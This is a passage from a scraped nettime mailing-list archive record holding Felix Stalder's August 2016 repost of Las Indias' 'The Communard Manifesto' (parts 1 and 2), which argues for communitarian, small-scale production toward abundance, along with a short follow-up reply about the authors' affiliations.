eyes, before and after the large financial crisis, a\nnew kind of small-scale industry has developed, which is characterized\nby being global and by getting capital and credit outside the financial\nsystem, some in collaborative financing platforms, others announcing\ntheir own pre-sales and getting donations in exchange for merchandising.\nIn fact, it\u2019s an industry of \u201cfree\u201d capital, which doesn\u2019t have to give\nup ownership of the business to the owners of capital because, on the\none hand, it reduces its needs by using publicly available technological\ntools, like free software, and on the other, obtaining the little\ncapital it needs in the form of advance sales and donations.\n\nTaken together, P2P production and the direct economy, two ways of\nsubstituting scale with scope, are the leading edge of a productive\neconomy moving more and more quickly towards the reduction of scale.\nThat makes them essential to understanding why communitarianism has a\nunique opportunity in the new century.\n\nBuilding abundance here and now\nAbundance has to do with production, not with consumption\n\nAbundance is an economic concept in the setting of production, not\nconsumption. Abundance exists when an extra unit can be produced without\nthat meaning a perceptible increase in costs. For economists, it can be\nreduced to a formula: \u201czero marginal cost.\u201d In an ideal competitive\nmarket, when the marginal cost is zero, that means that the prices that\nwould maximize the benefit to producers would also be zero.\n\nCommon sense would say then that the business would have no incentive to\ncontinue producing. But really, just the opposite would happen. Although\nthe price of the product is zero, the interest of the producer is to\nproduce the maximum possible to dilute fixed costs as much as it can\namong all units produced. It is at that theoretical moment, with zero\nprice, when a business stops thinking about the market and starts to\nseek the maximization of meeting the human needs its products match.\n\nThat is, if the marginal cost approached zero, the products would be\n\u201cdecommodified,\u201d would stop being commodities that have to be sold,\nbecause if they aren\u2019t, that would create a new loss. As a consequence,\nas of a certain level, anyone could enjoy as much as they need without\ngiving up anything, and the same rationality that orients the behavior\nof the businesses towards the maximization of benefit would lead to an\neconomy centered on satisfying human needs: anyone could enjoy as much\nas they need without giving up anything.\n\nThis does not mean that capitalism tends to be \u201cdecommodified\u201d by the\nmere effect of competition. But this extreme solution of a basic model\nof economic analysis is, in any case, very illuminating.\n\nIn practice, abundance exists when the cost of producing one more unit\nis negligible and, given a sensible calculation of potential demand, we\ncan do it indefinitely. For example: the cost of serving a web page or\nan electronic book to one more user from our own server is, for all\npractical purposes, zero.\nA scarce product in a decentralized network is abundant in a distributed\nnetwork\n\nWe should say that this example would only be true within a definable\nrange of requests, but that if the number of people who want read our\nbook were to pass a certain critical point, we would have to increase\nour bandwidth and the number of servers as well. So, if we look at it\nover the long term, these cost increases should be attributed to the\nunits served. The marginal cost, the cost associated with the last copy\ndistributed, wouldn\u2019t be zero. Abundance, in that case, would have been\njust an illusion, a mirage, sort of like the cost of taking more person\nto work in our car: it\u2019s practically zero\u2026 until the seats run out. Once\nthe places are full, we need other car, or at least a bus ticket, for\neach additional person we\u2019d like to transport. The marginal cost, the\nincrease in costs for one more person, would be positive and easily\nperceptible.\n\nBut in our example, an information good, this criticism would only be\ntrue if the copies were distributed from a single server. If we share it\non a distributed network with other users who, by downloading it, make\nit available to others in turn, each new download, each new user, will\nmean a possible place for others to download more. The more people\ndownload it, the less possibility there will be that, no matter how fast\nor large increases in demand may be, that any member of the network\nwould have to increase their costs so that someone could download a new\ncopy.\n\nThis is doubtlessly the most important thing the Internet has taught us:\nthe same product that is abundant in a distributed network certainly\nwould not be in a centralized or decentralized network. And, conversely,\nwhat is scarce in a centralized or decentralized network, can be\nabundant in a distributed network.\n\nThis finding may seem limited, since with current technologies, it would\nonly affect intangible goods. But some of those intangibles\u2014like\nindustrial design, hardware, or processes\u2014are the motors of the increase\nin productivity in physical goods and, since the world wars, the\npercentage they represent of total value produced has only increased.\nTheir conversion into free goods can\u2019t help but have a profound effect\non the whole productive system.\n\nThat\u2019s how, for example, the creation of free software works, as does\nthe whole growing economy in general, the immense majority of it\ndecommodified, that we include under the label \u201cthe P2P mode of\nproduction.\u201d At the same time, the direct economy uses the results of\ninnovation outside the productive apparatus controlled by over-scaled\nindustries and the very over-scaled financial system, increasing\nproductivity in the manufacture of tangible goods and pushing scale even\nfarther downward.\n\nThe \u201cP2P mode of production\u201d is the model for the production of abundance\n\nAlthough we are still far from general abundance, we have a model of the\nproduction of abundance for intangible goods and innovation\u2014the \u201cP2P\nmode of production.\u201d This, in turn, feeds a sector, the direct economy,\nthat demonstrates enough productivity in the market to compete and beat\nthe industry \u201cfrom the outside,\u201d without the help of over-scaled\nfinance. That is, this new productive ecosystem is capable of competing\nand gaining ground against a giant that enjoys the advantage of\nextra-market rents, like customized regulations, grants, or patents.\nWe\u2019re talking about the same extra-market rents that multiplied with\nneoliberalism and which have produced the simultaneous erosion of state\nand market, which is to say, social decomposition. So, just to\ndemonstrate that a productive alternative exists is already big news.\n\nThis social and productive space around the \u201cnew digital commons\u201d or\nsimply, the \u201ccommons,\u201d is today\u2019s equivalent of the first cities and\nmarkets of the medieval bourgeoisie, a space where new non-commercial\nsocial relationships appeared, and the new logic, together with signs of\nautonomy, begin to show a limited but direct impact on productivity.\nThroughout the lower Middle Ages, the bourgeoisie was able to drive\nthose cities to turn them, first, into a big \u201curban workshop,\u201d and\nlater, into \u201cmunicipal democracies.\u201d A similar historical task, now with\na society of abundance as the goal, is what lies ahead for communitarianism.\n\nThis is because this whole reduction of scales brings the optimum size\nof productive units ever closer to the community dimension, and\ntherefore, points to community as the protagonist of a society of\nabundance. And it is in community that we can understand why the\nstruggle to overcome a socioeconomic system cannot be proposed as an\nelectoral platform, revolutionary as it may be, but rather, happens in\nthe setting of more profound competition: productivity.\n\n[End part 1/2]\n\n\n\n-- \n\n ||||||||||||||||||||||||||||||||| http://felix.openflows.com\n |OPEN PGP: 056C E7D3 9B25 CAE1 336D 6D2F 0BBB 5B95 0C9F F2AC\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                "to": "nettime-l {AT} mx.kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1608/msg00000.html",
                "list": "nettime_l",
                "author_name": "Felix Stalder",
                "subject": "<nettime> The Communard Manifesto (1/2)",
                "from": "elix Stalder <felix {AT} openflows.com>",
                "follow-up": [
                    {
                        "from": "elix Stalder <felix {AT} openflows.com>",
                        "content": "\n\nFelix Stalder wrote:\n> It's not simply a theoretical text, but a testimony to the scope\n> of vision driving the development of the Spanish \"rebel cities\".\n\n\nIn the mean time, I had some private emails pointing out that Las Indias\nare not really connected to the recent city-based movements, but more\ndirectly to the Gijon Administration and, above all, the Mondragon\nCooperative. And, apparently, the relationships between the different\ngroups/movements are not without tensions.\n\nSo, it might be helpful if someone could shed some light onto wider context.\n\nall the best. Felix\n\n\n-- \n\n ||||||||||||||||||||||||||||||||| http://felix.openflows.com\n |OPEN PGP: 056C E7D3 9B25 CAE1 336D 6D2F 0BBB 5B95 0C9F F2AC\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                        "id": "00004",
                        "date": "Wed, 3 Aug 2016 14:27:29 +0200",
                        "to": "nettime-l {AT} mx.kein.org",
                        "message-id": "ede1d421e8d17a1d204944f9e118eef1 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1608/msg00004.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> The Communard Manifesto (1/2)"
                    }
                ],
                "message-id": "2c119adb7519dbbdad3f94dda94304c6 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Tue, 2 Aug 2016 10:49:51 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "elix Stalder <felix {AT} openflows.com>",
                "content": "[START 2/2]\n\nhttps://lasindias.com/the-communard-manifesto-html\n\nThe two faces of productivity\n\n\u201cProductivity\u201d is a word that evokes rejection among large sectors of\nthe population. For years, salaries have been reduced, workdays\nextended, and thousands of workers fired in the name of increasing\nproductivity. It\u2019s normal for the word to cause a shiver, because in\nstagnant situations, and in the capitalist framework, that\u2019s exactly\nwhat it means.\n\nIn reality, however, increasing productivity means being able to do more\nwith fewer resources and is the measure of all systemic alternative. The\nfamous \u201cliberation of productive forces,\u201d that the old revolutionaries\nexpected to succeed capitalism, is nothing more than a general\ndevelopment of productivity. The engine of the increase in productivity\nis technological change, understood broadly to include forms of\norganizing and structures. From the community point of view, the center\nof the development of productivity today is in free software, in\ndistributed networks, and in multipurpose, low-cost tools of production\nand chains: everything that brings us closer to abundance.\n\nIncreasing productivity means \u201csqueezing more\u201d out of the factors: with\nthe same quantity of inputs, producing more value in the same period of\ntime. Increasing productivity means, for example, getting more energy\nout of a solar panel, needing less water to produce the same amount or\nmore of vegetables, or having new programs that reduce the hours that we\nhave to spend on repetitive management tasks.\n\nBut for over-scaled capital, in stagnant situations where there\u2019s no new\ninvestment or technological improvement, \u201cproductivity\u201d means, above\nall, employing the labor factor more intensively. That is to say:\ngetting work hours for free\u2014for example, by extending the workday\nwithout remunerating overtime; or through personnel reduction, while\nunreasonably overwhelming those who remain\u2014which is equivalent to a\nsalary reduction. Alternative and sometimes complementary ways could\ninclude reducing the quality of raw materials and, thus, their cost,\nwithout consumers realizing it; or ceasing to take responsibility for\nexternalities created in production, like dumping unprocessed waste in a\nriver to save on filters and purifiers. No wonder the word\n\u201cproductivity\u201d can sound scary.\n\nFrom the perspective of communities, however, developing productivity\nmeans something completely different. The main way to obtain it is as\nnew as it is inaccessible to the typical business, which is over-scaled\nand anxious for rents.\n\nLet\u2019s again take up the example of publishing an online book. To\ncalculate the productivity of the factors, we would have to find the\nratio between the number of downloads and the number of factors employed\nin their production. But if, as we saw before, instead of posting it on\na single server, we share it on a distributed network, the cost of one\nmore download will be zero. At that point, we\u2019re in a world of\nabundance. Even if it had tremendous success, and hundreds of thousands\nof people downloaded a copy, we wouldn\u2019t need to increase the use of the\nfactors. The productivity of the work necessary to write, edit, and\nformat the book would increase with each extra download.\n\nBut embracing this path means accepting that the price of an abundant\ngood\u2014which is any digitized content in a distributed network\u2014is zero.\nAnd with zero prices, it\u2019s not so easy assure capital the dividends it\ndesires. So, publishers, software giants, pharmaceutical companies, and\nmovie studios try to maintain an extra-market rent, in the form of a\nlegal monopoly called \u201cintellectual property.\u201d And that\u2019s why music\ncompanies depend on centralized structures, which come with considerable\nmarginal costs, like iTunes or Spotify, to control the restricted\ndistribution of their products, so they can force the maintenance of\npositive prices.\n\nArtificially creating scarcity has become a way of life for over-scaled\nindustry\n\nThe traditional information and knowledge industries are engaged in\nartificially producing scarcity. Contemporary economic theory has\ndescribed intellectual property as \u201cunnecessary\u201d for years, and there\nare more and more renowned economists that think that its negative\neffects far exceed the positives. Large distributed networks, in which\nmillions of people share digital files, are as infinitely more efficient\nmedium to distribute a digitized product than Facebook, Twitter, Google\nBooks or Amazon, but the content industries have held a legal and\npolitical grip for years, which costs them millions every year in\nlawyers and lobbyists, to be able to fence off such networks by law and\njail their supporters.\n\nIn the production of physical goods and services, the contrast no is\nless drastic. In contrast to a capitalist business, in an egalitarian\ncommunity, the increase in productivity translates to a reduction of the\nwork time that one must dedicate to be able maintain a comfortable way\nof life on the basis of selling products in the market.\n\nWe need to say that reducing work means we can spend more time, not\nstaring at the ceiling, but dedicated to other kinds of activities, like\nlearning new disciplines, playing, painting, or developing contributions\nto the commons in the form of free software, designs, books, or\naudiovisual content in the public domain. Activities that show us what\nthe kind of work that will substitute wage labor will consist of as we\napproach an authentic society of abundance: an expression of skills\nmotivated by the pleasure of enjoying interaction with others, the\npleasure of learning, experimenting, and contributing. This it the\nopposite of the sophisticated form of slavery imposed by scarcity.\n\nCapitalism was the greatest promoter of productivity in history, but it\nsimply can\u2019t allow itself abundance. The community, on the other hand,\nneeds it.\n\nAbundance is the magic that shines through the \u201chacker ethic\u201d\n\nAnyone who has lived or spent enough time in an egalitarian community\nhas sensed how abundance advances through the reduction of work forced\nby scarcity and its gradual substitution by work understood as a\npersonal and voluntary expression of the pleasure of learning and\ncontributing. When everything is communal and responsibility is shared,\nthere is no division between life time and work time. You can be\nyourself, and development in work drives us to learn new things, in new\nfields, and continue advancing. Then we stop being mere \u201ctechnicians\u201d or\n\u201cspecialists\u201d and become \u201cmultispecialists.\u201d This is a way of developing\nintellectually that fits naturally not only with the reduction of scale,\nbut above all with the development of scope, the capacity to create many\ndifferent things with the same productive base. Multispecialization is\nprogress towards the end of the atomization of knowledge that paralleled\nthe division of labor to the limit in the industrial factory.\n\nAbundance is the magic that shines through the \u201chacker ethic\u201d and\nassorted user groups. It\u2019s no coincidence that a work ethic based on\nknowledge and enjoyment is extending beyond the communard world\u2014where it\nalways existed\u2014coinciding with the social expansion of the Internet and\nthe first forms of P2P production. The first cultural manifestations of\ndistributed networks cultivated the pleasure of discovering all those\napplications of knowledge that do a lot of good but are not commodities.\nThey celebrated these being valuable, because, even though they have a\nzero price, they reveal to us the fraternity of shared knowledge and, in\nin time, improve the life of thousands or millions of people.\n\nFor almost a century, capitalism has been incapable of turning increases\nin productivity into reductions in the workday. The \u201chacker ethic\u201d\nconnected with P2P production shows how the development of abundance\nleads, right from day one, to the progressive abolition of labor forced\nby need. That form of work competes with and opposes time dedicated to\nlearning, living, and enjoying life.\n\nEl camino de la abundancia no pasa por producir menos\n\nAbundance has nothing to do with consumption and even less with\nconsumerism. In reality, consumerism is not a \u201cstate of capitalism,\u201d but\na compulsive form of consumption with which some people, reduced to\nisolated individuals when they reach the market, try to recover from\nanguish, loneliness, the anxiety of work without meaning, and an\natomized way of life that, like the system that produces them, \u201caren\u2019t\ngoing anywhere.\u201d Part of the middle class practices consumerism with the\nsame fervor with which it then talks about it as if it was a universal\nguilt. Some clamor to \u201creduce consumption\u201d and \u201cdegrow\u201d as a systemic\nalternative. It\u2019s a myopic view: consumerism is not the center of the\ncurrent economic system. It is the spiritual symptom, visible only in a\nprivileged minority, of a more serious and widespread disease\u2014the same\none that produces the chronic underconsumption in which the majority of\nhumanity continues to live and the environmental disasters that move them.\n\nTo cure that disease does not mean producing less or \u201creturning\u201d to\npre-capitalist technologies. To renounce the productivity conquered by\nscientific knowledge would mean more exclusion and poverty. To exchange\nindustry for artisanship and technified agriculture for less productive\nforms would mean simply reducing productivity and, therefore,\nsquandering even more human and natural resources than the\ninefficiencies of over-scaling already do. To renounce technological\ndevelopment is nothing other than adopting forms of production that are\nmore costly in resources.\n\nQuite to the contrary, we want to produce abundance here and now, on\nanother scale and using another logic\u2014those of the community and the\nneeds of real people\u2014developing more and more productive free\ntechnologies, because only with higher productivity will we be able to\nconsume fewer non-renewable natural resources, fewer hours of labor\nforced by need, and less capital, while still taking responsibility for\nthe well-being of others.\n\nIf there\u2019s anything we can\u2019t renounce without making things worse, it\u2019s\nabundance. It\u2019s hard, and will continue to be, to overcome the \u201cfences\u201d\nand \u201churdles\u201d that patents have put in the way of scientific knowledge.\nA lot of damage has been done by the evolution towards the artificial\ncreation of scarcity in the chemical, agrarian, and pharmaceutical\nindustries. We must not confuse scientific and technological development\nwith the monopolistic and rent-seeking applications of it, which\nover-scaled technology, seed, and biomedical research businesses have\nmade into their flagship products. In the application of genetics to\nagriculture, for example, there is the promise of abundance, though even\nits use by Monsanto today means a daily life of environmental\ndestruction, artificial scarcity, and destruction of producers\u2019 freedom.\nWhat will we do about the overuse of natural resources?\n\nThe end of the overuse of natural resources will not be reached by\nproducing less or returning to outdated technologies, but on the path\ntowards abundance.\n\nThis can be seen clearly in agricultural exploitation. In Israel, where\nthe kibbutz and cooperative movement was the nucleus of agrarian\nproduction and the leader in technological innovation, production\nbetween 1948 and today multiplied by sixteenfold, three times more than\nthe population. And while irrigated land went from 30,000 to 190,000 Ha,\n12% less water is consumed. That is, technological development\nencouraged by the communitarian sector increased general productivity\u2014by\nno less than 26%\u2014significantly reducing the cost of producing one more\nunit, and, to that extent, approaching abundance. But increasing the\nproductivity of the factor even more\u2014we were told for decades\u2014would lead\nto a regional collapse if production continued increasing. Instead, more\nproductivity and more production, far from leading to a greater stress\non resources, reduced the total consumption of water.\n\nBut strengthening communities and the productivity of the communitarian\nsector it is not the focus of the official narrative or the political\nconsensus in Europe or among US liberals. In that narrative, fed for\ndecades by catastrophism that ran through all messages, from the\nHollywood blockbusters to official documents from the UN or the EU, it\nwas all about justifying, at all costs, the way that States paid big,\nover-scaled businesses\u2019 transformation costs to avoid a disaster that\nthemselves had created and reported. In the name of the imminent\ncatastrophe, we needed to pay car companies for their infrastructure\ncosts as they moved to electric cars, and give crazy subsidies to big\nenergy companies, assuring their centrality when technology was already\npointing towards renewable, distributed electricity. The process was,\nand is, a festival of rent-capture and corruption that has even drawn in\nMondragon, the group of cooperatives that, for years, has been a global\nmodel precisely because of its excessive scale and its distance from\ncommunity models.\n\nIt couldn\u2019t be any other way. For years, adhering to the ecologist\nnarrative meant choose between two false options. The first: ignore\nmisery and the hunger for the majority of the world, and advocate for\nreducing productivity. The second: join the list of those who want to\ntake away even more sovereignty from people and communities and give\nmore rents to monopolies. Obviously, it\u2019s a no-win situation.\nConnecting the dots\n\nIf we connect the dots of economic change in our time, certainly the\nfirst thing that comes into view is a great crisis of scale in which\nlarge funds and companies of dysfunctional volume are asphyxiating the\ntwo main institutions of the system\u2014the State and the market\u2014and\naccelerating their global decomposition, decomposition that has enormous\nhuman and environmental costs. But if we expand the framework, we also\nsee that the \u201cglobalization of the small,\u201d free software, and\ndistributed networks have created the first system of technological\nnon-commercial innovation\u2014the \u201cP2P mode of production\u201d\u2014and a growing\nindustrial sector\u2014the direct economy\u2014which is supported by it, is\ncompeting face to face with overscaled agrarian and industrial\nbusinesses, even though it has communal dimensions.\n\nAnd if we dig a little, still we\u2019ll find something more: we\u2019ll discover\nthat communitarianism is a parallel, underground movement, which has\naccompanied capitalism since its youth, exploring the paths of a new\nlife experience and planting the seed of a society of abundance, while\nit waited for its time to arrive. In its time, the scale of change could\nbe accepted by self-organized egalitarian communities. From that time\nforward, distributed networks of communities would be able to lay the\nfoundation for real competition between systems, just as capitalism did\nwith its feudal and land-based forerunner.\n\nWe think that time is arriving. But to be able take advantage of it, we\nfirst need to conquer something that the narrative of decomposition is\ngrinding down: the centrality of work.\n\nConquer work, reconquer life\n\nThe constant increase in productive scales over nearly two centuries,\nand with them, in the division of labor and of knowledge, has produced\nan erosion of the relationship between people and the concrete work they\ndo. For more and more people, it became harder to understand what their\nwork meant and contributed to their loved ones and to society besides a\nsalary and a few days \u201coff\u201d per year. That\u2019s what was called\n\u201calienation.\u201d Gigantic scale, work so specialized and repetitive that\nseemed it insignificant, homogenization of everyone\u2019s labor and the\nresulting perfect substitutability of workers, made meaning\u2014the social\nand intellectual utility of the labor that each person did in\nsociety\u2014something that was alien to people\u2019s lives. \u201cWork\u201d became\nnon-life, as opposed to \u201ctime off,\u201d which was truly human and reserved\nfor family and friends, which is to say, a community.\n\nIt would be reasonable to think that this phenomenon would fade with the\ngradual reduction of the optimal scales of production and the slow\nemergence\u2014as industries became more independent from the incorporation\nof knowledge\u2014of multispecialization. But the truth is that new\ngenerations are deprived of even alienated work.\nTo be unable to access work is to be in social exile\n\nDuring 15M [widespread anti-austerity protests that began on May 15,\n2011 in Madrid] it became fashionable in Spain call young people who\nwent to work in other places around the world \u201cexiles.\u201d Meanwhile,\naccording to official statistics, 40% of those who remained were\nunemployed. These were the true exiles: they were separated from\nproductive life, separated from collaboration and from doing things\nsocially, and separated from a relationship with nature.\n\nThe entire life of those who tried to enter the labor market at the\nbeginning of the crisis is an anomaly. By being alien to the very\nreality they were part of, they became spectators, even of themselves;\nonce, people used cell phones in demonstrations, and now they use\ncameras. The separation of work soon became evident in the emergence of\n(anti-)consumerist narratives; consumption\u2014the only way they can\nparticipate in an economy that\u2019s alien to them\u2014became, for many, the\nexplanation for the whole social system and its failures. One of the\nways of expressing that general alienation was substituting the\ntraditional centrality of the demand for access to work with the demand\nfor a rent guaranteed by the State.\n\nTo live outside the social space created by work is to go into social\nexile, to lose or never have had the position of a real member of a\ncommunity: to not be among those who turn work into wealth, but among\nthose who depend on rents.\n\nEverything that has defined this crisis has trapped those who reached\nadulthood with it as permanent minors. Everything led to their solitary\nconfinement as individual-consumer. That isolation is necessarily\nfrustrating. It\u2019s alienation that is felt as such, as meaninglessness.\nBut the search for meaning outside of work\u2014which is to say: outside of\ncommunity, society, and nature\u2014can easily lead people to search for\nconsolation in illusory communities that absorb us without providing\nwhat makes us a useful part of a real community: the ability to\ncontribute to the well-being of one another by producing. That\u2019s why\nthese have been years of growth in racism, anti-Semitism, xenophobia,\njihadism, and political and religious sectarianism.\nThere\u2019s no self-realization without work\n\nAnd, precisely because of that, the old communitarian slogan of the\n\u201cconquest of work\u201d is more current than ever. \u201cConquering work,\u201d\nrecovering it as central to society by way of the community, leading it\nand creating it, is the only thing that can turn back the drift towards\nthe void of the consumerist narrative, the rejection of differences,\nxenophobia, and the thousand and one nationalisms that arise, seeking to\ncreate even more borders and rents. It\u2019s the only thing that can\nrecreate meaning and allow for self-knowledge and self-realization,\nwhich is to say, each person living their own values. So, work has an\ninevitable moral dimension, and that\u2019s why conquering work has the value\nof regeneration, of true personal re-empowerment for a whole generation\nand a great mass of people, which political activism or conformity will\nnever be able to offer.\n\nNever have technology and knowledge allowed so much well-being to be\nproduced at scales as small as today. Never has it been so easy to\nbecome protagonists of production and of the construction of our\nsurroundings; never have available technologies incorporated or\ndeveloped as much knowledge as in our day; never have productive\nprocesses been as transparent about their relationship with their\nsurroundings with so much facility and such impressive scope as today.\nAnd yet, despite it all, rarely before has the spirit of time been as\ndisconnected from the possibilities of the historical moment. The cause\nis, once more, the impact moral of decomposition and unemployment.\nUnemployment is the expression of the destruction of productive\ncapacity. In economic terms, it\u2019s the worst form of waste, the bloodiest\nof inefficiencies. And the effect on the mood of anyone who suffers it\nis a like millstone around the neck, or an acid that destroys\nself-confidence, security, and conviction about their potential to\ncreate. Unemployment feeds fear, and fear paralyzes and blinds.\n\nTo conquer work is reconquer life\n\nTaking the things that fear and insecurity would have us think are\nimpossible and making them visible is the first way to empower those who\nhave been exiled from work and deprived of its meaning, which will\nencourage them to take responsibility for their own communities. The\ngeneration that was expelled from the productive system is called to\nconquer work and, with it, life.\n\nAbundance is the goal we move towards with the development of knowledge\nin our species. It\u2019s not just a question of numbers, math, or\naccounting, but also of ethics, desires, feelings, and aesthetics. We\ncreate technology, and it, in turn, transforms us, transforms what it\nmeans to be human in the new time that we ourselves have established.\nAnd from there, we can imagine and build abundance with renewed strength.\n\nThe time has come to take the initiative, to begin to build egalitarian\nand productive communities, and not as experiments or \u201cislands\u201d in a\nocean of large scales. In the beginning, they will only be \u201cexamples.\u201d\nBut examples, accompanied by the idea that emulation is possible, are\nmore powerful than any form of propaganda.\n\nThe communal alternative does not provide the gregarious confidence of\nthe political hooligan or the empty pride of the racist. Belonging to a\ncommunity is recognition through work and learning, not an \u201cessence\u201d\ninherited from national culture or birth, or the result of insubstantial\nadherence or an ID card. It\u2019s not the product of the permanent\nimagination of confrontation with some universal evil. You are building\nconstantly with others, making things so we can all grow together,\nsharing more and more responsibility, and giving and receiving trust.\nIt\u2019s the opposite of the feeling of impunity that \u201cfrees\u201d the \u201cfollower\u201d\nwho is protected by a leader, a flag, or a political brand in the din of\nstreet fighting, online bickering, or media \u201csmackdowns.\u201d To be a\ncommunard is to gain autonomy and security in the fraternity of\nlearning, to be rediscovered as valuable and valued in shared work. To\nbe a communard is to put the values we believe in into action, not\ncompete to shout them the loudest or wield them like a menacing weapon.\nTo be a communard does not give the static tranquility of the yogi or\nthe mystic who seeks the silence of loneliness, but the serenity that\nlistens to and seeks to include others, without using outrage as an\nexcuse to do nothing or hiding behind the disdain of supposed\nsuperiority. To be a communard is a way of living, learning, and\nbuilding by sharing it all with others.\n\nWe need grow with others to be able to reconquer real life. Every\n\u201cindividual escape\u201d is no more than a form of \u201cevery man for himself.\u201d\nOf course, when you find yourself in decomposition, you can try to\naccumulate a little money, find a house far away from everything, and\nlive without knowing anything about anyone; or land a stable but\nlow-paying job, interact as little as possible in it, and relegate life\nto what\u2019s left of the day after work hours. But these strategies aren\u2019t\nreally satisfactory, they\u2019re just different ways of beating a more or\nless orderly retreat. In the medium term, they\u2019re a way to condemn\nyourself to melancholy. Isolating yourself, marginalizing yourself, even\nif it means living without constantly prioritizing financial survival,\nwould mean renouncing growth, development, and carrying out personal\nideals in life. It\u2019s another form of exile.\n\nSo, existing egalitarian communities should open themselves up and\nbecome a launching point for the experience of a new generation. To be\nempowered is to also discover through practice that in a community,\ntroubles, annoying as they may be, are muffled rather than being\nupsetting, and joys and victories have echoes that are impossible to\nhear alone.\n\nFrom adding to multiplying\n\nCommunitarianism has no paradise to sell, and does not spout admonitions\nor threaten skeptics with a catastrophic future. \u201cTo reconquer work\u201d\u2014for\nand with one\u2019s own inner circle\u2014is a path that will surely interest many\npeople who propose a rebirth in the midst of the crisis, perhaps without\nknowing that what they are doing, with their community and its\naffections, would ensure the rebirth of an entire world.\n\nThe time has come to carry out what the bourgeoisie was able to do to\novercome feudalism: turn the expulsion from work created by the system\ninto an alternative society. The medieval bourgeoisie grew its first\ncities with servants who had escaped from bondage to their lord\u2019s land\nand joined the first small commercial societies. The new egalitarian\ncommunities had to expand with those expelled from the productive system\nto give rise to the first transnational networks of communities oriented\ntowards abundance. This is an alternative world beyond the borders of\ncommand pyramids and the law of the jungle that we experience in so many\ncompanies, and also beyond the omnipresence of commodification and the\nalienation of labor, a world where \u201ceveryone shares everything\u201d through\ncommunal ownership and savings, and \u201ceveryone receives according to\ntheir need\u201d.\n\nThe scene will be urban\n\nThe community experience has historically been centered in rural areas.\nRural settlements provide a space for a direct relationship between work\nand nature which continues to be essential to communitarian approaches.\nHowever, in Kassel, Washington, Nazareth, or Madrid, the new comunards\nno longer buy fields to work. They buy apartments, offices, and shops.\nThey\u2019re building autonomy for a new generation of communities in sectors\nbased on knowledge and in urban settings. Their range is expanding more\nand more: intelligence and data, training, specialized hardware, free\nsoftware, restoration, cultural objects, ecological products\u2026 These are\nall services and products created on a small scale but with large scope,\nwhich are focused on the direct economy as a form of relationship with\nthe market.\n\nSince the middle of the nineteenth century, communitarianism has\nsurvived because it was able to demonstrate how egalitarianism and\nidealism pay. In this last decade, it has grown globally because it\nlearned how to add. It learned to add very diverse people and build a\nlife experience, a glimpse of abundance in daily life, that many already\nopenly call \u201cpost-capitalist.\u201d Now our challenge is learning to\nmultiply. We know how to offer an alternative, the \u201cconquest of work,\u201d\nto the generation exiled from the productive system by the crisis.\n\nAnd that challenge will be faced, above all, in cities, among other\nthings because, from the point of view of the human experience, the\nrelationship with nature is measured by the ability to transform our\nproductive activities. A software developer today has a more intense\nrelationship with nature than a medieval peasant ever had.\n\nIt\u2019s true that this relationship remains hidden from participants in\nmost overscaled industries, where deliberation is replaced by sets of\nrules, practices, and \u201cprocedures\u201d; where reflection on the best\nobjective is substituted by decisions on the best method, and the\ncoordination of wills is substituted by checklists and task-completion\noversight. But in community, purposes and tools are part of a design and\nknowledge that everyone is aware of and agrees to. And above all, the\nposition of advancing abundance, the front line, is wherever the direct\napplication of knowledge is closest to production. And generally, the\nsetting for that is the city.\nThe tasks of the communards\n\nEgalitarian communities should undertake a path that allows them to go\nfrom the current model, based on the resistance and resilience of the\n\u201csmall community,\u201d to another that starts from a large network of\negalitarian and productive communities. We must feed the new sprouts,\nwhich are capable of maintaining themselves in the market, and at the\nsame time, create more spaces of abundance and decommodification.\nAdditionally, we need to take decommodification beyond our interior, and\nmake it permeate all our surroundings. It\u2019s time to begin the\ncompetition between systems.\n\nA time is coming when we will have to learn to grow in many new ways:\nincorporating new members, incubating communities, teaching community\ntechniques in neighborhoods, or creating popular universities of a new\nkind, that give tools for multispecialization.\n\nWe have to confront a gigantic problem created by over-scaling\u2014from\nsmallness, with smallness, and step by step. We have to use diversity\nand abundance to break out of the traps that a culture in decomposition\ntends to constantly fall into, which magnify defeatism, pessimism, and\nthe idea of \u201cevery man for himself\u201d. It\u2019s not going to be a stroll\nthrough a rose garden, and we\u2019re certainly not going to be able to make\nheadway without encountering serious resistance.\nYou are the protagonist\n\nImagine yourself as a new kind of pioneer, as the leader of a large\ncollective adventure.\n\nYou\u2019re not alone. Thousands of people joined communard initiatives\nthroughout the world over the last year: egalitarian communities,\nkibbutzim, cooperatives that unite work and housing\u2026 Not too far from\nyou, there\u2019s a community already underway. You can participate in its\nactivities, collaborate in its development projects, or join it as\nanother communard. With other enthusiasts, you\u2019ll build productive urban\ncommunities that are able to create effective abundance in their\nsettings, which is to say, to compete with the market.\n\nYou\u2019ll be the leader of an adventure that will demand\u2014as it did of the\ngenerations of communards who preceded us in centuries past\u2014effort and\ncommitment in exchange for making life useful and significant. But in\ncontrast with those generations of pioneers, who lived in an era in\nwhich abundance remained out of reach, you can aspire to something more\nthan living better. Today, it\u2019s our turn to demonstrate that the best\nlife serves to create abundance for everyone, and is already preparing\nto be able to offer a place and a meaning to everyone.\n\nLas Indias, May ninth, 2016\n\nTranslation to English by Level Translation\n\nAppendix: concrete things you can do with this manifesto\n\nIf you\u2019ve found ideas in the preceding paragraphs that agree with your\nstate of being in the world and your understanding of relations with\nothers, there are many things you can do, starting now. You don\u2019t have\nto immediately leave everything behind and organize an egalitarian\ncommunity, it\u2019s more about using this Manifesto for what it\u2019s intended\nto be: a tool to empower you and your community.\nExpand the conversation\n\n            Do you have a blog? Publicize your reading notes and the\nopinions you\u2019ve formed. Don\u2019t forget to link 